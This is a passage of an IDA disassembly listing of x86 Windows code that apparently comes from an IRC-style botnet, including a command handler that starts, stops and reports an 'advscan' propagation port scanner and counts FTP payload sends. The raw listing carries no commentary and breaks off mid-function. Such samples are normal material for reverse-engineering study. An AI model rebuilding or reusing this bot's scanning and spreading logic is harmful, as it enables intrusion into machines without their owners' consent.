; =============== S U B	R O U T	I N E =======================================



sub_420BC0	proc near		; CODE XREF: sub_401F46j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401BF4
		add	esp, 8
		retn	4
sub_420BC0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420BF0	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_430332
		pop	ecx
		retn	8
sub_420BF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420C10	proc near		; CODE XREF: sub_401389j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401D98
		add	esp, 8
		retn	8
sub_420C10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420C40	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_420C40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420C60	proc near		; CODE XREF: sub_401811j
		mov	eax, [ecx]
		retn
sub_420C60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420C80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401771
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_420C80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CB0	proc near		; CODE XREF: sub_4015AFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401997
		pop	ecx
		retn	4
sub_420CB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_401D25j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E47
		pop	ecx
		retn	4
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CF0	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011A4
		add	esp, 8
		test	eax, eax
		jz	short locret_420D0B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_420D0B:				; CODE XREF: sub_420CF0+11j
		retn
sub_420CF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420D20	proc near		; CODE XREF: sub_401EBAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_420D20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011A4
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_420D61
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4015EB


loc_420D61:				; CODE XREF: sub_420D20+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_420D20	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420DB0	proc near		; CODE XREF: sub_401D98j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_420DB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011A4
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_420DF1
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_40146F


loc_420DF1:				; CODE XREF: sub_420DB0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_420DB0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E20	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4018E3
		retn
sub_420E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E40	proc near		; CODE XREF: sub_401E47j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_420E40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E60	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_40146F
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_420E60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E90	proc near		; CODE XREF: sub_4018E3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40198D
		test	[esp+4+arg_0], 1
		jz	short loc_420EA8
		push	esi
		call	sub_430332
		add	esp, 4


loc_420EA8:				; CODE XREF: sub_420E90+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_420E90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420EC0	proc near		; CODE XREF: sub_401A00j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_420EC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	ds:dword_488623, offset	aSym ; "sym"
		call	sub_4018DE
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_401726
		lea	ecx, [esi+46808h]
		push	eax
		push	ecx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+68h+var_3C]
		push	1
		push	edx
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 1
		call	sub_401726
		push	eax
		lea	eax, [esi+46836h]
		push	eax
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		call	sub_4018DE
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 2
		call	sub_401726
		lea	edx, [esi+46864h]
		push	eax
		push	edx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		mov	[esp+44h+var_4], edi
		lea	ecx, [esp+44h+var_3C]
		call	sub_4011F9
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+68h+var_3C]
		push	1
		push	eax
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 3
		call	sub_401726
		lea	ecx, [esi+46892h]
		push	eax
		push	ecx
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+68h+var_3C]
		push	6
		push	edx
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 4
		call	sub_401726
		push	eax
		lea	eax, [esi+468C0h]
		push	eax
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	18h
		push	9
		push	6
		push	4Fh
		push	16h
		push	4
		push	1
		lea	ecx, [esp+64h+var_24]
		push	4Fh
		push	ecx
		call	sub_4018DE
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 5
		call	sub_401726
		add	esi, 468EEh
		push	eax
		push	esi
		mov	ecx, offset dword_43FFB0
		call	sub_401523
		mov	[esp+44h+var_4], edi
		lea	ecx, [esp+44h+var_24]
		call	sub_4011F9
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_420EC0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421170	proc near		; CODE XREF: sub_40133Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_421170
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+46808h]
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	loc_42123A
		push	3
		call	sub_40142E
		add	esp, 4
		test	eax, eax
		jle	short loc_42120D
		push	3
		call	sub_401C67
		mov	eax, ds:dword_4AFD40[eax*8]
		add	esp, 4
		push	eax
		call	ds:dword_4B3CA0
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 18h
		mov	al, 1
		jmp	loc_42156B
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_421170+52j
		lea	ecx, [esi+2Ah]
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		mov	al, 1
		jmp	loc_42156B
; ---------------------------------------------------------------------------


loc_42123A:				; CODE XREF: sub_421170+40j
		lea	ecx, [ebp+468C0h]
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	loc_4212E0
		mov	edi, ds:dword_488A36
		push	offset dword_43B600
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_401726
		push	eax
		call	ds:dword_4B3AEC
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		cmp	edi, ebx
		jl	loc_4218F2
		mov	edx, ds:dword_4404E7
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_42156B
; ---------------------------------------------------------------------------


loc_4212E0:				; CODE XREF: sub_421170+DFj
		lea	ecx, [ebp+46864h]
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_421360
		push	eax
		push	3
		call	sub_401C6C
		add	esp, 8
		test	eax, eax
		jle	short loc_421335
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 18h
		jmp	loc_421569
; ---------------------------------------------------------------------------


loc_421335:				; CODE XREF: sub_421170+194j
		lea	ecx, [esi+2Ah]
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_48873B
		call	sub_4010FF
		jmp	loc_421569
; ---------------------------------------------------------------------------


loc_421360:				; CODE XREF: sub_421170+185j
		lea	ecx, [ebp+46836h]
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		mov	edi, ds:dword_4B3AEC
		test	eax, eax
		jnz	loc_42140E
		push	3
		call	sub_40142E
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset dword_43B600
		push	2
		push	eax
		call	sub_401622
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_401726
		push	eax
		call	edi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 0C8h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_421586
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_48873B
		call	sub_40178F
		add	esp, 18h


loc_42140E:				; CODE XREF: sub_421170+20Bj
		lea	ecx, [ebp+46892h]
		call	sub_401479
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012B7
		test	eax, eax
		jnz	loc_421569
		push	offset dword_43B600
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_401622
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_401726
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	eax, ds:dword_43C328
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_421499
		mov	eax, offset dword_43C328


loc_421485:				; CODE XREF: sub_421170+327j
		cmp	[eax+8], edi
		jb	short loc_42148F
		mov	[esp+7A0h+var_78D], 1


loc_42148F:				; CODE XREF: sub_421170+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_421485


loc_421499:				; CODE XREF: sub_421170+30Ej
		mov	ebp, ds:dword_4B3C18
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp
		mov	eax, ds:dword_43C328
		add	esp, 8
		test	eax, eax
		jz	short loc_4214FF
		mov	edi, offset dword_43C330


loc_4214BF:				; CODE XREF: sub_421170+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		call	ds:dword_4B3AB4
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4214BF


loc_4214FF:				; CODE XREF: sub_421170+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		call	ds:dword_4B3AB4
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_421559
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_401479
		push	eax
		push	0
		call	sub_4014BF
		add	esp, 10h


loc_421559:				; CODE XREF: sub_421170+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010BE
		add	esp, 4


loc_421569:				; CODE XREF: sub_421170+1C0j
					; sub_421170+1EBj ...
		xor	al, al


loc_42156B:				; CODE XREF: sub_421170+98j
					; sub_421170+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_421586:				; CODE XREF: sub_421170+26Ej
		push	offset dword_43B600
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_401726
		push	eax
		call	edi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_4011F9
		push	offset dword_43B600
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 3
		call	sub_401726
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_4011F9
		push	offset dword_43B600
		lea	edx, [esp+7A4h+var_788]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_401726
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_4011F9
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, 1
		jnb	short loc_421668
		mov	[esp+7A0h+var_658], 1
		jmp	short loc_421678
; ---------------------------------------------------------------------------


loc_421668:				; CODE XREF: sub_421170+4E9j
		cmp	eax, 3Ch
		jbe	short loc_421678
		mov	[esp+7A0h+var_658], 3Ch


loc_421678:				; CODE XREF: sub_421170+4F6j
					; sub_421170+4FBj
		push	offset dword_43B600
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_401726
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_4011F9
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_4216D1
		mov	[esp+7A0h+var_654], eax


loc_4216D1:				; CODE XREF: sub_421170+558j
		mov	eax, ds:dword_43C328
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_4217A1
		mov	ebp, offset dword_43C328
		jmp	short loc_4216F7
; ---------------------------------------------------------------------------


loc_4216F4:				; CODE XREF: sub_421170+607j
		or	ebx, 0FFFFFFFFh


loc_4216F7:				; CODE XREF: sub_421170+582j
		push	offset dword_43B600
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_401726
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_421721:				; CODE XREF: sub_421170+5CFj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_421745
		test	al, al
		jz	short loc_421741
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_421745
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_421721


loc_421741:				; CODE XREF: sub_421170+5BBj
		xor	eax, eax
		jmp	short loc_421749
; ---------------------------------------------------------------------------


loc_421745:				; CODE XREF: sub_421170+5B7j
					; sub_421170+5C5j
		sbb	eax, eax
		sbb	eax, ebx


loc_421749:				; CODE XREF: sub_421170+5D3j
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_4011F9
		test	bl, bl
		jnz	short loc_42177F
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4216F4
		jmp	short loc_42179E
; ---------------------------------------------------------------------------


loc_42177F:				; CODE XREF: sub_421170+5F4j
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, ds:dword_43C328[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_42179E:				; CODE XREF: sub_421170+60Dj
		or	ebx, 0FFFFFFFFh


loc_4217A1:				; CODE XREF: sub_421170+577j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_4217BF
		lea	ecx, [esi+2Ah]
		call	sub_401479
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4218DA
; ---------------------------------------------------------------------------


loc_4217BF:				; CODE XREF: sub_421170+63Aj
		push	offset dword_43B600
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_401622
		push	offset dword_43B7F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_40138E
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_4011F9
		test	edi, edi
		jz	loc_42189C
		push	offset dword_43B600
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_401726
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		call	ds:dword_4B3AA8
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_4011F9
		push	offset dword_43B600
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_401622
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_401726
		push	eax
		call	ds:dword_4B3AC4
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_4011F9
		jmp	loc_4219CB
; ---------------------------------------------------------------------------


loc_42189C:				; CODE XREF: sub_421170+68Dj
		push	offset aR	; " -r"
		mov	ecx, esi
		call	sub_40138E
		test	eax, eax
		jnz	short loc_4218F9
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_40138E
		test	eax, eax
		jnz	short loc_4218F9
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_40138E
		test	eax, eax
		jnz	short loc_4218F9
		lea	ecx, [esi+2Ah]
		call	sub_401479
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4218DA:				; CODE XREF: sub_421170+64Aj
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_48873B
		call	sub_4010FF


loc_4218F2:				; CODE XREF: sub_421170+132j
		mov	al, 1
		jmp	loc_42156B
; ---------------------------------------------------------------------------


loc_4218F9:				; CODE XREF: sub_421170+73Aj
					; sub_421170+74Aj ...
		mov	ecx, ds:dword_488753
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		call	ds:dword_4B3CB8
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_40138E
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		call	ds:dword_4B3CA0
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		call	ds:dword_4B3AE0
		add	esp, 0Ch
		mov	ecx, esi
		push	offset aR	; " -r"
		call	sub_40138E
		test	eax, eax
		jz	short loc_4219C0
		push	offset aA	; " -a"
		mov	ecx, esi
		call	sub_40138E
		mov	ebp, ds:dword_4B3A74
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_4219B3


loc_421997:				; CODE XREF: sub_421170+841j
		test	eax, eax
		jz	short loc_4219B3
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_421997


loc_4219B3:				; CODE XREF: sub_421170+825j
					; sub_421170+829j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_4219CB
; ---------------------------------------------------------------------------


loc_4219C0:				; CODE XREF: sub_421170+7F6j
		mov	[esp+7A0h+var_630], 0


loc_4219CB:				; CODE XREF: sub_421170+727j
					; sub_421170+84Ej
		mov	edx, ds:dword_488753
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_401726
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		call	ds:dword_4B3AA8
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_421A2D
		mov	eax, offset aSequential	; "sequential"


loc_421A2D:				; CODE XREF: sub_421170+8B6j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:43C30Ah[eax*4]
		push	ecx
		push	offset aAdvscanSSPortS ; "advscan(%s): %s port scan %s:%d [delay "...
		mov	ecx, edi
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_48873B
		call	sub_40178F
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401AD7
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
